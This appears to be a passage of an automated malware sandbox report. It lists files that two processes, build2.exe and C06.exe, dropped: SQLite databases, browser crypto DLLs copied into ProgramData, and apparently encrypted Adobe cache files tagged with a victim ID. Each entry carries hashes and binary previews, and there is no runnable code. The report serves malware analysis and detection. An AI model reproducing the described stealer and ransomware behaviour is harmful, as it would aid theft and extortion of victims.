File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\61854198125783256548051753-shm

Download File

Process:	C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\64530771260828356383974977

Download File

Process:	C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\67867961568116533152736985

Download File

Process:	C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.861167986562389
Encrypted:	false
SSDEEP:	192:6Y23QMmZWBtH+bF+UI3iN0RSV0k3qLyj9d9c0:6Yd8tIkUI3iGRE3qLOd9c0
MD5:	D65AA08D6AF0A40028513FF066BB6CB2
SHA1:	4F776667DAF0DB697E7EDC1FDCADC138F72062B0
SHA-256:	46898107F6EC73B9A3D3212D31DCFACB601B08FD2DAD587C453268D52253C60D
SHA-512:	F49E6D159272BA8E951123E49295DB2ACFEDF0B66506B4746D72A8CBBBFA004E162186E1C4BFF6357D304C954AF931E46F8AE429F494AE2A236B51741BE20937
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\71750582701221223849315036

Download File

Process:	C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\85183018510962133791330054

Download File

Process:	C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\88149680561784461713924660

Download File

Process:	C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.861167986562389
Encrypted:	false
SSDEEP:	192:6Y23QMmZWBtH+bF+UI3iN0RSV0k3qLyj9d9c0:6Yd8tIkUI3iGRE3qLOd9c0
MD5:	D65AA08D6AF0A40028513FF066BB6CB2
SHA1:	4F776667DAF0DB697E7EDC1FDCADC138F72062B0
SHA-256:	46898107F6EC73B9A3D3212D31DCFACB601B08FD2DAD587C453268D52253C60D
SHA-512:	F49E6D159272BA8E951123E49295DB2ACFEDF0B66506B4746D72A8CBBBFA004E162186E1C4BFF6357D304C954AF931E46F8AE429F494AE2A236B51741BE20937
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\96764528231374897933662026

Download File

Process:	C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: E89IeuS2H1.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: wgdE3POxOg.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 1d591987233fea8f0cf1046ad2052645201a8ebbd788b3db04960e75.exe, Detection: malicious, Browse Filename: 336ecdd5f5c040f5d3fa238ae4b4813ebc48401500d2dfad0604fa9f.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\SystemID\PersonalID.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.898153434632013
Encrypted:	false
SSDEEP:	3:iGv6qsRVd5Uttvn:iGvYbUtR
MD5:	725FBC3238FD3345C06D2836D9977694
SHA1:	CA220AB46877E07DDCF696050A5425B29247180F
SHA-256:	CA9564F9AA1D0958899636D28565E4D0DA8E947CE39BDE016E5E78CCF9D425D1
SHA-512:	942BD9C98A3AFC563938DB45EE35100D33F0D1DECA1F5C2676232C3FAE245F009B0634DD099F96779550BEAC2CE31A6F2FF9481099D37D0E533935CD713A50A9
Malicious:	false
Reputation:	unknown
Preview:	9vcNQVPqJIaROrpD1AiDud2f4pxZk4K1f4ZNrS3K..

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	626
Entropy (8bit):	7.57344144873836
Encrypted:	false
SSDEEP:	12:kqczMafVAOveYIxkAv4+Oy0eHmjXVFGgsIM0xhw3H5qdcii9a:DczHvvvhOHKXiv0xkHGbD
MD5:	AD5BD28E5EC3F8981C677A059052C127
SHA1:	4DF3942FD05C52E9F3468CAD8F754D248F426A42
SHA-256:	41BB944ED1EA615176A9EE9F73B3B0778625BDC1744FCD06F879C8B00DA14F3A
SHA-512:	6D7393B9A963DAC548E37A3135D06A9E5B6D3676C6062665EF10A9104C512002BBE04B38240F93949E15693BEA49390B2AF481A34A56671CC49A02B16FAF4DC9
Malicious:	false
Reputation:	unknown
Preview:	2023/0"8j'.nZ....C4.n..8...c..".....P.da..EK6.lR.....S.A+.ax...N..B...!.}.D.n.....jY...=.......Xf.o.1..D..d.......;s..Sp..e2..w\{.@.{B....`G..dI.\.......x.l.9.....LT..z.`EJZt.v.R.......=.tb.I...&O.u.u.oP}~...".o..f#.~.......4u.J{.\^...^..V...R..D\t...'%.....\....m.8..{.7...#. .~.(.d..".{$.n..\.od.h...n......0.Bm./).%..wzL.L*(.4..pz#`l..KV.[....5..8D}J.T\|;{.5.jIP...B). o.. ....d.0qC..@......Y.h..D...V...n..]...'3...!.=9...g.j,.d..5....S.Y.&.81.5...I1...?...J.X.@..X..l.[T...U.Sp..{..}.q.......K..z......6.,.;..M...o .[Vk.E.9vcNQVPqJIaROrpD1AiDud2f4pxZk4K1f4ZNrS3K{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	670
Entropy (8bit):	7.692531523733997
Encrypted:	false
SSDEEP:	12:kWbeAtZ9xpvTCtUgUjBI2Q5KZpf4YHzLzA0ybC0qrS2RBM2db15/qdcii9a:WqZ9x9TC1UVI2Q4RnpwqrZXYbD
MD5:	8C1F905E858506AEAE684E96ABCEEF4C
SHA1:	245BDCFC52DF2F3B37BDE17289970794726DA4F9
SHA-256:	A121A4DB238FB1A3BA8A683C86E4FFB0D5D975EBB447C8D754B062E6A42BFAB4
SHA-512:	678BB6AFA593755E365EA696E141AAF5D2FA8A9BB1769946372F1F64B8EE08ACAC92763A42E0CC0877E17D3945356D2E82B79E97F6256398FE3310CD18B2AC2A
Malicious:	false
Reputation:	unknown
Preview:	2023/.4...J..W..^.4>..{`t...".....]$.[.OY..w0.....h..#....>.O...J.8=4IV.../.Q.o)....M./D...i.....2B........44=.C.H.......\.v.Y..E<.H....h....p.l....5...wgV.....?T.m.z.\|...C.v1..w.o..0...IU....T[.....2.......m%I...+..........P.....y-...w%.).$..9.&.........yF.G.z..~h.u.\|.......oB.... t..5.dT.Y..>.......g'.2....X..t.......#w...p...I..Nu...A.e....i_.........\|._t...Yn.9..A...X..=0.....Z=V.u..X......Z.e.x...<....{.lyU.'8US..88F......@...{./..&>7.......r....~....=H#^S.ww.O[V?..g..<....F.......O..W]2..Ux.Z..K.."....q.7PiP....>".w .@{..?..bW.Lp!B.h.~S...C;.j&!.R%..Ft..9vcNQVPqJIaROrpD1AiDud2f4pxZk4K1f4ZNrS3K{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LocalPrefs.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.754588951483512
Encrypted:	false
SSDEEP:	24:YKWlRu2t2FWbJy4fifKYWyd+SyS5K0+RtXjioBzW6u/bD:Y/RLcA9y4GKfyd+SyS56vWIJoD
MD5:	AB2B3A1C70E202BC10C2B96CFA1665E8
SHA1:	19CAC6910A6795F2943DD059D3F7977F8D0D1DA2
SHA-256:	F1862DA7203618F52CC75EEF2A5D32E99AF4D7B080455E197B69AF4062447B35
SHA-512:	FAE97F4F5C96D64421FF86E598605F1BC6FC35081DFE8C6D824B309A888A65BAECAB1A9B00518E5C2F6238ACAF9E5D616125DC2826E030CBD8BC147201885DEB
Malicious:	false
Reputation:	unknown
Preview:	{"os_<;..uj..u.....#....H_..O`..UsY.[........2.!K....P..j.'q;.p...E........}dW...j.WY......~..g....>.o..A..X.V.`..........J..9.xs.o.].....^..n .....g...'2.6.......P-VApC..V..D.$.,....W3.wF..P.h.......z.m..~.q#.C...=xC#........:..&...........7.Q7I...1g.&1..T..l4.6..O..e...t;.?..`....7...T.(.~yg......An.B."..vi...)&=T......p.^-..}y...@....2..(D...r_.R.V..-l.,E.t.....<'d..2p.........g)..9.!............!G.Jx.U.\|...K.....;.d...Apn._8K......B..-.c-..\|.GK..9.....L.N..8-..?+Cl.l.l....M)bn..b...........%a...$..x...Iq./...../Cx.....hD.>.A+.&.(...lLt....@.IYB.\.#.. .^C.p..=.....}..G.(s.M"..IO.>(......C..M..HA.m..x...].^~.Ms..Q.T+...%..x^R........ [X..!/.VV.Q.D`..kN......~C} E.GY..R..K..N).Ds....v.....g..Y9vcNQVPqJIaROrpD1AiDud2f4pxZk4K1f4ZNrS3K{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	4168
Entropy (8bit):	7.9524761147410565
Encrypted:	false
SSDEEP:	96:ATNpnD0YzgeIOBqMzeheHcOHBzDPeei8gHAA:cNpfCOpzegj/Gei8MX
MD5:	4C299666A00867E33BEAF7EA39C28E93
SHA1:	1296673BBB16B3F6990DE8633E1427933CF010EB
SHA-256:	6F428B986F0F4CD3920E1552A51C4B2EFE6AF87C3352BD9F5A6E138566995765
SHA-512:	F226D132240D59DAC6B529D796B4B8911FCEA91F4128576EF0BA16CE1BD0FA1DA00FEA94613D2754EA804F7D53CDA9BD2C8A810808CB307B03166F428F8E58C3
Malicious:	false
Reputation:	unknown
Preview:	...#oG\jz..P.[F..O.]...<.l.m.......d,...B..\|...U..6..}4@a8.S.8..x..w....d.!.p.....m..H..c...$.Y.w.......y..b.x....o.W.hIvc.G#...T..H../...\ .r.S.w8.8.hqz..x..).X....K...'...a.2_jv.vyCj..4...`..P.......0\.7.....:c?D.8..db...,Zx.x...^... .5...m^.H..8.....Yt......:.y...c..vU.Mj..j. >!Cg.n.',B.z.d....\|.5...R.../.>....:V./..8z.}...DTv.s8...".r.&....'77.8{..@..w..&X.i&..=..W!..\|..q...9...1.Z..C/....Q..3..xD.....l?..ZE%.f....>[..h&....-4>0..r.q.....U...a..{..3..).O..B .u..s.....M...K... ....$.+.2..y..g.........u...0-.....v.A".....A..<....v..#.....T..l........U.h..I./=$.5...WA......\|...........n....'W.$wK.J.{.d....@WT...."6.I..V.v.!............T...KX.h.pY.G......p.....]...........0.hY.[[.,>.b..Gm0=.)../]..G.2h.2C..G.......sr.n..........\|.%g.^......2....l..;...v4B>.9ke../..t..W@...U.'.Vq........c..@.~....<j<.oZ..[..gn...V.B...#.z....hB6E8.B.k+....Y..c...e..0_...L#.!UPb...JO.n..B.qU.6/........p!mZ.z..E..,T.7$.4.\|.nR....^....+

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	658
Entropy (8bit):	7.682746484214598
Encrypted:	false
SSDEEP:	12:k0gTeijSyDLDauUejeQartYVT/m42STioFhvYwVHNvNYN5Mmk+uqdcii9a:QTeijS4xj1aBYVq2XxFvKNCebD
MD5:	4F79EB26D38EB62D29370EC8760EA5F2
SHA1:	E83E7C15EFA99611F10EC03344A0D52CD06EC1D5
SHA-256:	2DCCBAA9BE6209915B69BE312EF60D7A2DD58B7C0033D0B6342A14113325D1C0
SHA-512:	D006D2ECA97AA46E51A46C8D7A568840833EE1330512BF738C7D9CF0F3EFAF09EDDAB327F8E6E5903164CB397B800EC5FCD8D2DFE40FCB3AD87FC863C1614B70
Malicious:	false
Reputation:	unknown
Preview:	2023/l.....`......q.ymb2...1..5.fk.t.8V..h..."....;W.h..~..4O....C{...YG..y......\|).~[..T;NP...HK(...I....o...S...t8...O.y..=.w..o@d..2jEC.Gf.G.C...U..f...'+.B..../.........4..-......>:Qn..4\.<.s.eM..J..u0WF......V@/..l3.......b.P.$y!....a.......lt..m..fK...4...c9y0.7.Xkf.............c.....`..&_4..H..-......e'&...Z..............o.yR..G...Sxq..85S.-U./.....y]..+..Fs.V....t....A....0$.W..y..G..~)h..K....Q.4o.Qw...^._..Vs,i.3W.y...L.tZIjX;.c^....;"8...23].......c..\a.1#`..F.....x..8.....q.%z..l.+.......aX.....0...a...m..[..{.?...,..9.>.....8...K01j..'..9vcNQVPqJIaROrpD1AiDud2f4pxZk4K1f4ZNrS3K{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\000003.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
Size (bytes):	440
Entropy (8bit):	7.48428962291537
Encrypted:	false
SSDEEP:	12:xclbiTkSMRrJnwU5VWzKHmh1e15BNfqdcii9a:xObiAS8rKwVWqm8zN4bD
MD5:	79D5938C42BD77385BD846509F1D1C2A
SHA1:	713085C5E959C68B55FEC87172D85DD907210B0B
SHA-256:	5F04D498DC1123E07EE06A72A700280F30C3925FAD864BBB3C8A30DDE0440EAB
SHA-512:	4580C1DA5B087E8C45B241F87024EF33BBAE9F6C0E5757EA4B12E95AB012F0CADC6BA09AE4A58693C51671F9C939D913E4D739A4B8890F5B8481087D4D7B300C
Malicious:	false
Reputation:	unknown
Preview:	S.z1..NI.)........p"~.7B....%.>QH.4...>.3.....4...e9..41.<.....e^&7....h.T(f..j!i.w........w..>....j....e_;!CL.!.2.P....&.$,.q..N......[.L..........G+..K.CZ}.S.....a.di}~.2U.........g.....iBq..)....0K.0GEH{.B.s..}5....$(.+..=..._\|.k...#.=.X......jn..U../R....)%/....S.hq.P....!.n.A...#.){.......\.t4.....;t.!...^..3.....N...e..F...Ak.W.c..../D.9vcNQVPqJIaROrpD1AiDud2f4pxZk4K1f4ZNrS3K{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\Temp\C06.exe
File Type:	data
Category:	dropped
